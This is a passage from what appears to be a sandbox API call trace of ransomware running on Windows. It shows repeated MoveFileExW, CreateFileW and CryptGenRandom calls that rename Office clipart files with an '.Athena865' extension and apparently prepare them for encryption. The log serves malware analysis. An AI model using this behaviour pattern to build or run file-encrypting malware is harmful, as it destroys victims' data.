returned 73 [0133.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.487] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.487] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.488] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.488] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.491] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.491] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.491] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.492] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02040U.BMP" | out: lpString1="PH02040U.BMP") returned="PH02040U.BMP" [0133.492] lstrlenW (lpString="PH02040U.BMP") returned 12 [0133.492] lstrlenW (lpString="Athena865") returned 9 [0133.492] lstrcmpiW (lpString1="2040U.BMP", lpString2="Athena865") returned -1 [0133.492] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.Athena865") returned 73 [0133.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.494] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.494] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.495] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.495] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.498] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.499] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.499] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.500] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02053J.JPG" | out: lpString1="PH02053J.JPG") returned="PH02053J.JPG" [0133.500] lstrlenW (lpString="PH02053J.JPG") returned 12 [0133.500] lstrlenW (lpString="Athena865") returned 9 [0133.500] lstrcmpiW (lpString1="2053J.JPG", lpString2="Athena865") returned -1 [0133.500] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.Athena865") returned 73 [0133.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.502] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27388) returned 1 [0133.502] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.502] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.503] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.505] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.506] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.506] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.506] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02058U.BMP" | out: lpString1="PH02058U.BMP") returned="PH02058U.BMP" [0133.506] lstrlenW (lpString="PH02058U.BMP") returned 12 [0133.507] lstrlenW (lpString="Athena865") returned 9 [0133.507] lstrcmpiW (lpString1="2058U.BMP", lpString2="Athena865") returned -1 [0133.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.Athena865") returned 73 [0133.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.508] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.509] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.509] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.511] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.512] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.512] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.513] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02062U.BMP" | out: lpString1="PH02062U.BMP") returned="PH02062U.BMP" [0133.513] lstrlenW (lpString="PH02062U.BMP") returned 12 [0133.513] lstrlenW (lpString="Athena865") returned 9 [0133.513] lstrcmpiW (lpString1="2062U.BMP", lpString2="Athena865") returned -1 [0133.513] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.Athena865") returned 73 [0133.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.514] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.515] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.515] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.515] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.518] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.519] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.519] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.519] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02069J.JPG" | out: lpString1="PH02069J.JPG") returned="PH02069J.JPG" [0133.519] lstrlenW (lpString="PH02069J.JPG") returned 12 [0133.519] lstrlenW (lpString="Athena865") returned 9 [0133.520] lstrcmpiW (lpString1="2069J.JPG", lpString2="Athena865") returned -1 [0133.520] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.Athena865") returned 73 [0133.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.521] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29335) returned 1 [0133.521] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.522] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.522] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.524] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.525] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.525] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.526] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02071U.BMP" | out: lpString1="PH02071U.BMP") returned="PH02071U.BMP" [0133.526] lstrlenW (lpString="PH02071U.BMP") returned 12 [0133.526] lstrlenW (lpString="Athena865") returned 9 [0133.526] lstrcmpiW (lpString1="2071U.BMP", lpString2="Athena865") returned -1 [0133.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.Athena865") returned 73 [0133.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.527] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.527] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.528] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.528] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.531] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.532] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.532] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.533] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02074U.BMP" | out: lpString1="PH02074U.BMP") returned="PH02074U.BMP" [0133.533] lstrlenW (lpString="PH02074U.BMP") returned 12 [0133.533] lstrlenW (lpString="Athena865") returned 9 [0133.533] lstrcmpiW (lpString1="2074U.BMP", lpString2="Athena865") returned -1 [0133.533] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.Athena865") returned 73 [0133.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.535] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.535] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.536] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.536] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.538] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.539] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.539] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.540] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02208U.BMP" | out: lpString1="PH02208U.BMP") returned="PH02208U.BMP" [0133.540] lstrlenW (lpString="PH02208U.BMP") returned 12 [0133.540] lstrlenW (lpString="Athena865") returned 9 [0133.540] lstrcmpiW (lpString1="2208U.BMP", lpString2="Athena865") returned -1 [0133.540] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.Athena865") returned 73 [0133.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.542] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.542] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.543] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.543] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.548] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.549] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.549] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.549] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02223U.BMP" | out: lpString1="PH02223U.BMP") returned="PH02223U.BMP" [0133.549] lstrlenW (lpString="PH02223U.BMP") returned 12 [0133.549] lstrlenW (lpString="Athena865") returned 9 [0133.550] lstrcmpiW (lpString1="2223U.BMP", lpString2="Athena865") returned -1 [0133.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.Athena865") returned 73 [0133.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.551] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.551] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.552] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.552] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.557] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.557] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.558] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02291U.BMP" | out: lpString1="PH02291U.BMP") returned="PH02291U.BMP" [0133.558] lstrlenW (lpString="PH02291U.BMP") returned 12 [0133.558] lstrlenW (lpString="Athena865") returned 9 [0133.558] lstrcmpiW (lpString1="2291U.BMP", lpString2="Athena865") returned -1 [0133.558] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.Athena865") returned 73 [0133.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.560] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.560] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.561] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.561] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.564] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.564] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.564] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.565] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02398U.BMP" | out: lpString1="PH02398U.BMP") returned="PH02398U.BMP" [0133.565] lstrlenW (lpString="PH02398U.BMP") returned 12 [0133.565] lstrlenW (lpString="Athena865") returned 9 [0133.565] lstrcmpiW (lpString1="2398U.BMP", lpString2="Athena865") returned -1 [0133.565] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.Athena865") returned 73 [0133.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.567] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.567] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.568] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.568] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.571] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.571] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.572] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.572] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02412K.JPG" | out: lpString1="PH02412K.JPG") returned="PH02412K.JPG" [0133.572] lstrlenW (lpString="PH02412K.JPG") returned 12 [0133.572] lstrlenW (lpString="Athena865") returned 9 [0133.572] lstrcmpiW (lpString1="2412K.JPG", lpString2="Athena865") returned -1 [0133.572] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.Athena865") returned 73 [0133.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.athena865"), dwFlags=0x1) returned 1 [0133.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, 